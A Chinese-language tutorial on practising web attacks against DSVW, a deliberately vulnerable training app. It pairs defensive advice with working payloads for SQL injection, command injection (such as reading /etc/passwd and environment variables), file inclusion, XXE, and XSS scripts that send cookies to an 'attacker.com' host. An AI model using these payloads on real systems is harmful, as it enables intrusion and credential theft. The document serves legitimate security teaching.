1. 项目概述:为什么你需要一个“小而美”的漏洞靶场
如果你对Web安全感兴趣,或者正在学习渗透测试,那么你肯定听说过OWASP Top 10,也看过不少关于SQL注入、XSS攻击的理论文章。但理论看了一百遍,不如亲手“黑”一次。问题来了,去哪找一个既安全(不违法)、又真实、还方便练习的环境呢?这就是Damn Small Vulnerable Web (DSVW) 诞生的初衷。
DSVW,直译过来就是“该死的小型漏洞Web应用”。我第一次接触它,是因为厌倦了那些动辄几个G、配置复杂的综合靶场。有时候,你只是想快速验证一个SQL注入的Payload,或者试试一个XSS的绕过技巧,却要花半小时去启动一个庞大的虚拟机。DSVW完美解决了这个痛点:它只有一个Python文件,代码行数不到100行,用一句命令就能跑起来。它不是一个功能完整的“网站”,而是一个精心设计的“漏洞集合”,专门用来模拟和练习最常见的Web攻击手法。
这个靶场的作者是Miroslav Stampar,也是著名安全工具sqlmap的开发者之一。他设计DSVW的理念就是“极简教学”——用最少的代码,暴露最多的安全漏洞。对于初学者,它是一个绝佳的、无风险的沙箱;对于有经验的安全从业者,它是一个快速验证思路和Payload的利器。更重要的是,它完全免费、开源,你可以随意研究、修改甚至破坏它,而不用担心任何法律风险。接下来,我就带你从零开始,把这个靶场玩透,并深入理解每一个漏洞背后的原理和防御之道。
2. 环境准备与靶场部署:五分钟快速上手
部署DSVW可能是你遇到过最简单的安全实验环境搭建。它不依赖复杂的Web服务器(如Apache、Nginx),也不需要数据库(如MySQL),因为它把所有逻辑和“数据”都写在了那不到100行的Python代码里。
2.1 获取DSVW源码
最直接的方式是从GitHub克隆项目。打开你的终端(Linux/macOS的Terminal,或Windows的PowerShell/CMD),执行以下命令:
git clone https://github.com/stamparm/DSVW.git如果网络不畅,你也可以直接访问项目的GitHub页面(github.com/stamparm/DSVW),点击绿色的“Code”按钮,然后选择“Download ZIP”,解压到本地目录。
进入项目目录:
cd DSVW你会看到里面文件非常简洁:
dsvw.py:核心文件,靶场本体。requirements.txt:Python依赖包列表。Dockerfile和docker-compose.yml:为使用Docker部署准备的文件。README.md:项目说明。
2.2 安装Python与必要依赖
DSVW需要Python 3.x环境。绝大多数现代Linux发行版和macOS都已预装Python 3。你可以用python3 --version来确认。Windows用户可以从Python官网下载安装包。
接下来安装依赖。虽然DSVW核心运行只需要Python标准库,但为了支持XML相关漏洞的练习,需要安装lxml库。最省事的方法是使用项目提供的requirements.txt文件:
pip install -r requirements.txt如果只使用pip,也可以直接安装:
pip install lxml注意:在某些系统上,可能需要使用
pip3命令,或者为pip指定用户目录安装(pip install --user -r requirements.txt)以避免权限问题。如果遇到安装错误,可以尝试先升级pip:python -m pip install --upgrade pip。
2.3 启动靶场并访问
依赖安装好后,启动靶场简单到令人发指:
python3 dsvw.py或者,如果你的系统默认python命令指向Python 3:
python dsvw.py执行后,终端会输出类似以下信息:
Damn Small Vulnerable Web (DSVW) < 100 LoC (Lines of Code) #v0.2a by: Miroslav Stampar (@stamparm) [i] running HTTP server at 'http://127.0.0.1:65412'...这里的http://127.0.0.1:65412就是靶场的访问地址,端口号(如65412)是随机生成的,每次启动可能不同。
现在,打开你的浏览器,在地址栏输入这个URL(例如http://127.0.0.1:65412),回车。你应该能看到一个非常简洁的页面,标题是“Damn Small Vulnerable Web”,下面列出了它包含的所有漏洞类型,比如SQL Injection、XSS、Command Injection等等。恭喜,你的个人漏洞实验室已经就绪!
2.4 使用Docker部署(可选)
如果你熟悉Docker,这会是更干净、更隔离的部署方式。确保你的系统已经安装了Docker和Docker Compose。
在DSVW项目目录下,直接运行:
docker-compose upDocker会自动构建镜像并启动容器。启动成功后,同样会输出访问地址(通常是http://127.0.0.1:8000)。使用Docker的好处是环境完全隔离,不会影响宿主机,用完直接docker-compose down即可清理,非常适合在临时环境中使用。
实操心得:我强烈建议初学者使用第一种直接运行Python脚本的方式。因为这样你可以随时打开
dsvw.py文件,对照着攻击过程看源码,理解漏洞是如何产生的。这是DSVW作为教学工具的最大价值——源码即教材。
3. 核心漏洞解析与实战演练
DSVW的首页就像一个漏洞菜单,我们按图索骥,一个个来“品尝”。我会为你详解每个漏洞的原理、攻击手法,并给出防御思路。我们假设靶场运行在http://127.0.0.1:65412。
3.1 SQL注入:Web安全的“头号公敌”
点击首页的“SQL Injection (GET/Search)”链接,你会看到一个简单的搜索框。它的功能是根据用户输入的产品名,在“数据库”中查找产品。
漏洞原理: 后端代码可能原本是这样构查询语句的(这是概念模型,DSVW源码是简化版):
query = "SELECT * FROM products WHERE name LIKE '%" + user_input + "%'"如果用户输入apple,查询语句是正常的:SELECT * FROM products WHERE name LIKE '%apple%'。 但如果用户输入' OR '1'='1,语句就变成了:SELECT * FROM products WHERE name LIKE '%' OR '1'='1%'。由于'1'='1'永远为真,这条查询会返回产品表中的所有记录!
实战攻击:
- 基础探测:在搜索框输入一个单引号
'然后提交。如果页面返回了数据库错误(如SQL语法错误),或者行为异常(比如搜出了所有结果),基本可以断定存在SQL注入。 - 验证漏洞:输入经典的永真式:
' OR '1'='1。你应该能看到所有产品列表都被返回,而不是某个特定产品。这说明注入成功,应用没有对输入进行过滤。 - 信息获取:在DSVW这个简化环境中,我们可以尝试联合查询。输入:
' UNION SELECT null, version(), null --。这里--是SQL注释符,用于注释掉原查询后面的部分。version()函数用于获取数据库版本信息。提交后,你可能会在结果中看到类似“SQLite”或版本号的信息。
注意事项:在真实环境中,SQL注入的利用远比这复杂,需要判断数据库类型、列数、回显位置等。DSVW这里做了极大简化,旨在让你理解“拼接用户输入到SQL语句”这一危险行为的后果。防御的核心就是使用参数化查询(Prepared Statements),让数据库将用户输入永远视为“数据”,而非“代码”。
3.2 跨站脚本:在别人家里跑自己的代码
点击“XSS (Reflected)”链接。这是一个反射型XSS的示例,恶意脚本来自当前HTTP请求,并立即在响应中执行。
漏洞原理: 页面有一个输入框,可能用于搜索或反馈。后端代码直接拼接了用户输入到HTML页面中:
response = "<html>...<p>你搜索了: " + user_input + "</p>...</html>"如果用户输入是一段JavaScript代码,比如<script>alert('XSS')</script>,那么这段脚本就会被发送到浏览器,并作为页面的一部分执行。
实战攻击:
- 在输入框中输入:
<script>alert(document.domain)</script>,然后提交。 - 如果你的浏览器弹出一个警告框,显示当前页面的域名(如
127.0.0.1),那么反射型XSS漏洞就存在。
深入利用: 反射型XSS通常需要诱骗用户点击一个精心构造的链接。攻击者可以将恶意代码作为URL参数。例如,攻击者生成一个链接:http://vulnerable-site.com/search?q=<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie;</script>,然后通过邮件、论坛等方式诱骗用户点击。用户点击后,其Cookie就会被悄无声息地发送到攻击者的服务器。
实操心得:DSVW也提供了存储型XSS(XSS (Stored))的例子,其原理是恶意脚本被保存到服务器(如数据库),当其他用户浏览相关页面时触发。防御XSS的黄金法则是:对所有不可信的数据进行输出编码。在HTML上下文中,要将
<、>、&、"、'等字符转换为对应的HTML实体(如<转成<)。现代Web框架(如React, Vue)的模板引擎通常默认提供编码,但开发者仍需保持警惕。
3.3 命令注入:让服务器执行任意命令
点击“Command Injection”链接。这个例子模拟了一个网络诊断功能,比如让用户输入一个IP地址进行Ping测试。
漏洞原理: 后端代码可能使用Python的os.system或subprocess来执行系统命令:
import os host = user_input # 用户输入 os.system("ping -c 4 " + host) # 危险!如果用户输入是8.8.8.8; ls -la,那么实际执行的命令就变成了ping -c 4 8.8.8.8; ls -la。分号;在Linux/Unix中用于分隔命令,于是服务器在执行完ping之后,还会执行ls -la,列出当前目录的文件。
实战攻击:
- 在输入框中,先输入一个正常的IP,如
127.0.0.1,查看正常输出。 - 尝试注入:输入
127.0.0.1; whoami。提交后,在返回结果中,除了ping的结果,你应该能看到执行whoami命令的输出,它显示了运行Web服务器的系统用户(可能是www-data、nobody等)。 - 尝试更危险的命令:
127.0.0.1; cat /etc/passwd。如果成功,你将看到系统的用户列表文件内容。
注意事项:命令注入是极高危漏洞,它意味着攻击者可能完全控制服务器。防御措施包括:1. 避免直接拼接命令,使用安全的API(如Python的
subprocess.runwithshell=False)。2. 严格白名单校验,例如,对于Ping功能,只允许输入符合IP地址格式的字符串(用正则表达式校验)。3. 最小权限原则,运行Web服务的用户应具有尽可能少的系统权限。
3.4 目录遍历与文件包含:读取服务器敏感文件
点击“Local File Inclusion”链接。这个漏洞允许用户通过参数控制,包含服务器本地的文件。
漏洞原理: 应用程序可能有一个“模板”或“语言”切换功能,通过参数加载不同的文件。
page = request.GET.get('page', 'home.html') content = open('/var/www/templates/' + page).read() # 危险!如果攻击者将page参数设置为../../../etc/passwd,并且程序没有防护,那么open函数可能会尝试打开/var/www/templates/../../../etc/passwd,这最终指向了系统的/etc/passwd文件。
实战攻击: 在DSVW的LFI页面上,尝试修改URL参数。例如,原始URL可能是http://127.0.0.1:65412/lfi?file=welcome.txt。 尝试将其改为:http://127.0.0.1:65412/lfi?file=../../../../etc/passwd。 如果漏洞存在,你可能会在页面上看到/etc/passwd文件的内容。
升级利用——远程文件包含: 如果应用配置不当(allow_url_include开启),攻击者甚至可以包含远程服务器上的恶意文件。例如:?file=http://attacker.com/shell.txt,其中shell.txt包含PHP代码,这可能导致代码在目标服务器上执行,获取Webshell。
防御思路:1. 禁止用户输入控制文件路径,如果需要,应使用映射表(如:
{'home':'home.html', 'about':'about.html'})。2. 严格校验输入,只允许字母、数字、下划线等安全字符。3. 设置Web服务器权限,确保其无法读取敏感目录(如/etc,/home)。
3.5 XML外部实体注入:从文件读取到SSRF
点击“XML External Entity (local)”链接。这个漏洞出现在解析XML输入时。
漏洞原理: 应用程序接收XML格式的数据(如SOAP请求),并使用XML解析器处理。如果解析器配置了允许外部实体(XXE),攻击者就可以在XML中定义自定义实体。
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo>当解析器处理这个XML时,它会将实体&xxe;替换为file:///etc/passwd文件的内容。
实战攻击: 在DSVW的XXE页面,通常会有一个XML输入框。将上述恶意XML Payload粘贴进去并提交。如果漏洞存在,服务器返回的响应中会包含/etc/passwd文件的内容。
更危险的利用:
- 远程文件包含:
SYSTEM "http://attacker.com/secret",可以造成SSRF(服务器端请求伪造),让服务器向内部或外部网络发起请求。 - 拒绝服务:引用一个巨大的实体文件(如
/dev/random),耗尽服务器内存。
实操心得:XXE漏洞的发现需要对请求格式比较敏感。如果应用接收XML(Content-Type为
application/xml或text/xml),就可以尝试注入。防御方法很简单:在使用的XML解析库中,明确禁用外部实体(DTD)和外部引用。例如,在Python的lxml库中,创建解析器时使用resolve_entities=False和no_network=True参数。
4. 攻击技巧进阶与漏洞组合利用
在熟悉了单个漏洞的利用后,真正的渗透测试往往需要将多个漏洞组合起来,形成攻击链,以达到更深层次的入侵目的。DSVW虽然简单,但也能给我们一些启发。
4.1 从信息泄露到精准攻击
假设我们通过一个报错信息(如SQL错误)得知后端数据库是SQLite,并且网站绝对路径是/var/www/dsvw/。这本身就是一种信息泄露。结合命令注入漏洞,我们可以进行更精准的操作。
例如,通过命令注入,我们可以尝试:
; find /var/www -name "*.py":查找项目所有的Python源码文件,寻找其他漏洞或敏感配置。; cat /var/www/dsvw/dsvw.py:直接读取靶场源码,这在实际测试中相当于拿到了“考题答案”,可以分析其所有漏洞点。; env:查看环境变量,可能泄露数据库密码、API密钥等。
4.2 利用文件上传获取Webshell
DSVW可能没有直接的文件上传漏洞模块,但我们可以模拟这个场景。假设一个应用存在不安全的文件上传功能(未校验文件类型、后缀),允许上传.php或.jsp文件。同时,如果还存在LFI漏洞,攻击链就形成了:
- 上传一个图片马(将恶意代码嵌入图片),或者直接上传一个webshell脚本(如
shell.php)。 - 通过LFI漏洞,去包含这个上传的文件。例如,已知上传文件保存在
/uploads/,那么构造LFI参数:?file=../../../uploads/shell.php。 - 如果服务器配置为将
.php文件作为代码执行,那么包含成功的同时,webshell也就被执行了,攻击者获得了服务器的一个命令执行入口。
4.3 存储型XSS与权限维持
反射型XSS需要诱骗用户点击,而存储型XSS的“毒性”更强。例如,在一个论坛的评论处存在存储型XSS。攻击者发布一条包含恶意脚本的评论。
<script>var img=new Image(); img.src='http://attacker.com/steal?cookie='+encodeURIComponent(document.cookie);</script>此后,任何浏览该帖子的用户,其Cookie都会被自动发送到攻击者的服务器。如果这个Cookie是会话凭证,攻击者就可以劫持用户的登录状态。更高级的利用是,通过XSS动态加载一个更大的攻击载荷(如键盘记录脚本、挖矿脚本),实现长期的权限维持。
5. 防御方案设计与安全编程实践
攻击是为了更好的防御。通过亲手利用这些漏洞,我们应该深刻理解如何避免在自己的代码中引入它们。
5.1 输入处理与输出编码的黄金法则
所有输入都是不可信的。这包括来自用户表单、URL参数、HTTP头、Cookie、上传文件等所有外部数据。
- 校验(Validation):在数据进入业务逻辑前,进行严格校验。使用白名单原则,只允许符合预期格式的数据通过。例如,邮箱字段用正则校验格式,年龄字段校验是否为合理范围内的数字。
- 净化/过滤(Sanitization):对于无法完全用白名单控制的复杂输入(如富文本),需要进行净化。移除或转义危险的字符和标签。可以使用成熟的库,如Python的
bleach。 - 输出编码(Encoding):根据数据将要放置的上下文,进行相应的编码。
- HTML上下文:转义
< > & " '等字符。 - JavaScript上下文:对动态插入到
<script>标签或事件属性(如onclick)中的数据进行JSON编码。 - URL上下文:进行URL编码(Percent-encoding)。
- 系统命令上下文:应避免拼接,如必须,则对shell元字符进行转义。
- HTML上下文:转义
5.2 使用安全的API与框架
现代编程语言和框架已经内置了许多安全机制,我们应该优先使用它们。
- 数据库操作:绝对不要拼接SQL字符串。使用参数化查询(Prepared Statements)或ORM(对象关系映射)框架。在Python中,使用SQLite时用
?占位符和元组传参;使用MySQL时用%s;使用SQLAlchemy等ORM。 - 命令执行:避免使用
os.system、os.popen、subprocess.Popen(shell=True)。使用subprocess.run()并传递参数列表(shell=False)。# 错误示范 subprocess.run(f"ping -c 4 {host}", shell=True) # 正确示范 subprocess.run(["ping", "-c", "4", host]) - 文件操作:避免用户输入直接参与文件路径拼接。如果需要根据输入选择文件,应建立一个安全的映射关系。使用
os.path.join并规范化路径,防止目录遍历。
5.3 安全配置与最小权限原则
- 服务器配置:保持Web服务器、数据库、操作系统及其所有组件的更新。关闭不必要的服务和端口。为Web服务器进程(如www-data用户)设置严格的文件系统权限,遵循最小权限原则,使其只能访问必需的文件和目录。
- 错误处理:在生产环境中,禁止向用户显示详细的错误信息(如堆栈跟踪、数据库错误)。应使用自定义的错误页面,并将详细错误记录到安全的日志文件中供管理员查看。
- 内容安全策略:部署CSP(Content Security Policy)HTTP头,可以有效缓解XSS攻击。CSP可以指定浏览器只加载和执行来自可信来源的脚本、样式等资源。
- HTTP安全头:设置如
X-Frame-Options(防点击劫持)、X-Content-Type-Options(防MIME嗅探)、Strict-Transport-Security(强制HTTPS)等头部,增加客户端安全性。
6. 将DSVW融入你的学习与工作流
DSVW不仅仅是一个一次性玩具,它可以成为你安全工具箱中的常备工具。
6.1 作为自动化工具测试的沙盒
如果你在学习或开发Web漏洞扫描器(如自己写简单的爬虫和检测插件),DSVW是一个完美的测试目标。你可以:
- 编写一个检测SQL注入的脚本,对DSVW的搜索接口发送各种Payload,观察响应来判断是否存在漏洞。
- 练习使用
sqlmap这样的神器。在DSVW的SQL注入页面上,使用sqlmap进行自动化检测和利用,观察它的工作流程和Payload。sqlmap -u "http://127.0.0.1:65412/sqli?product=test" --batch - 测试WAF(Web应用防火墙)规则。如果你在配置WAF,可以将DSVW放在WAF后面,然后发动攻击,看WAF是否能有效拦截。
6.2 代码审计入门教材
直接阅读dsvw.py的源码(它真的不到100行)。看看作者是如何用如此简洁的代码模拟出这么多漏洞的。例如,找找看SQL注入的漏洞点在哪里?XSS的漏洞点又在哪里?这能极大地帮助你建立“漏洞眼”,以后在审计自己或他人的代码时,能快速识别出危险模式。
6.3 团队内部安全培训
如果你是团队的技术负责人或安全工程师,可以用DSVW快速搭建一个内部培训环境。组织一个“夺旗赛”(CTF),要求团队成员找出DSVW中的所有漏洞并写出利用报告。这种实操培训比单纯的理论讲解效果要好得多。
6.4 与其它靶场对比学习
当你掌握了DSVW后,可以挑战更复杂、更贴近真实应用的靶场,例如:
- OWASP Juice Shop:一个功能完整的现代Web应用,包含了OWASP Top 10的所有漏洞,难度更高,场景更真实。
- bWAPP:另一个非常流行的漏洞Web应用,包含100多种漏洞,覆盖非常全面。
- DVWA:也是一个经典靶场,可以调节安全等级(低、中、高),让你看到不同防护级别下的攻击难度。
从DSVW到这些复杂靶场,是一个从“理解漏洞原理”到“在复杂环境中发现和利用漏洞”的平滑过渡。
7. 常见问题与故障排查实录
在实际操作DSVW的过程中,你可能会遇到一些小问题。这里记录了我遇到的一些典型情况及其解决方法。
7.1 启动失败:端口被占用或Python版本问题
问题:运行python3 dsvw.py后,程序报错退出,提示“Address already in use”或类似信息。原因与解决:DSVW默认使用随机端口,但有时可能恰好被占用。你可以手动指定一个端口。编辑dsvw.py文件(用任何文本编辑器),找到类似server = make_server('127.0.0.1', 0, application)的行。将0(随机端口)改为一个具体的端口号,例如8080。然后重启脚本。访问地址变为http://127.0.0.1:8080。
问题:运行脚本提示“SyntaxError”或“ModuleNotFoundError: No module named '...'”。原因与解决:这通常是Python版本或依赖问题。首先确认你使用的是Python 3:python3 --version。确保已正确安装lxml:pip3 list | grep lxml。如果未安装,使用pip3 install lxml。在Windows上,如果Python 3已安装但python命令仍指向Python 2,请尝试使用py -3 dsvw.py命令启动。
7.2 攻击Payload不生效或返回异常
问题:输入经典的SQL注入Payload' OR '1'='1,但没有返回所有数据,或者页面报错。排查:
- 查看页面源码:右键点击页面,选择“查看页面源代码”。看看你的输入是如何被嵌入到HTML或JavaScript中的。可能被HTML编码了。
- 使用浏览器开发者工具:按F12打开,切换到“网络”(Network)标签页,重放请求。查看你提交的请求参数是否被正确发送。有时前端JavaScript可能会对输入进行预处理。
- 检查DSVW控制台:运行DSVW的终端窗口会输出访问日志和可能的错误信息。看看是否有Python异常抛出。
- 尝试简化Payload:先试一个单引号
',看是否引发数据库错误。如果连错误都没有,可能这个参数点根本不存在漏洞,或者被某种方式过滤/处理了。在DSVW中,这种情况较少,但在真实环境很常见。
问题:进行命令注入时,输入127.0.0.1; ls没有看到ls命令的结果。排查:
- 操作系统差异:DSVW默认运行在你的本地环境。
ls是Linux/macOS命令,如果你在Windows上运行,应使用Windows命令,如127.0.0.1 & dir。 - 命令分隔符:不同的Shell使用不同的分隔符。分号
;在Unix-like系统通用。在Windows的CMD中,通常使用&或&&。在PowerShell中,使用;也有效。可以多尝试几种:&、&&、|、||。 - 输出被截断或未回显:有些命令注入漏洞是“盲注”,即命令执行了,但输出没有返回到前端页面。你需要通过其他方式判断命令是否执行,例如:
127.0.0.1; sleep 5(如果页面响应延迟了5秒,说明sleep命令执行了),或者127.0.0.1; ping -c 1 attacker.com(在你的服务器上观察是否有ICMP请求)。
7.3 理解DSVW的“非真实”性
问题:为什么DSVW里的漏洞利用起来这么简单直接?和真实网站差别好大。解释:这正是DSVW的设计目的——教学。它把漏洞最原始、最赤裸的样子展现给你,剔除了所有干扰因素(如复杂的JavaScript、WAF、输入过滤、框架防护等)。在真实世界中,漏洞可能隐藏得很深,需要绕过各种防护,利用链也更复杂。DSVW是你学习“攻击语法”的单词本,而真实渗透测试是写一篇复杂的文章。掌握了基础语法,你才能去理解更复杂的篇章。
问题:我能在公网部署DSVW吗?强烈不建议!DSVW本身是极度不安全的,包含大量已知漏洞。将其暴露在公网,相当于在互联网上敞开一扇没有任何锁的门,任何扫描器或恶意攻击者都能轻易进入,并可能利用它作为跳板攻击你的内网或其他服务器。请务必仅在本地环境或隔离的虚拟网络中运行它用于学习。
8. 从靶场到实战:思维模式的转变
玩转DSVW之后,最重要的不是记住那几个Payload,而是建立起一种“攻击者思维”和“防御者思维”。
攻击者思维:当你看到一个输入框、一个URL参数、一个上传功能时,要本能地问自己:“这里我能输入什么非预期的东西?”“程序会如何处理我的输入?”“我的输入最终会到达哪里(数据库、操作系统、浏览器)?” 这种思维帮助你发现潜在的攻击面。
防御者思维:当你编写代码时,要对所有来自外部的数据保持“零信任”态度。在处理数据前,明确它的来源、格式和预期范围。选择最安全的方式去实现功能(用参数化查询而不是拼接字符串)。默认拒绝,而非默认允许。
最后,分享一个我个人的习惯:每学习或复现一个漏洞后,我会用简单的语言在笔记中记录三件事:1.漏洞是什么(一句话描述);2.怎么利用的(核心Payload或步骤);3.如何修复(关键的安全措施)。久而久之,这就形成了你自己的Web安全知识库。DSVW是一个完美的起点,它用最小的代价,给了你窥探Web安全世界的第一眼。保持好奇,持续练习,但永远记住:能力越大,责任越大。将这些知识用于保护,而非破坏。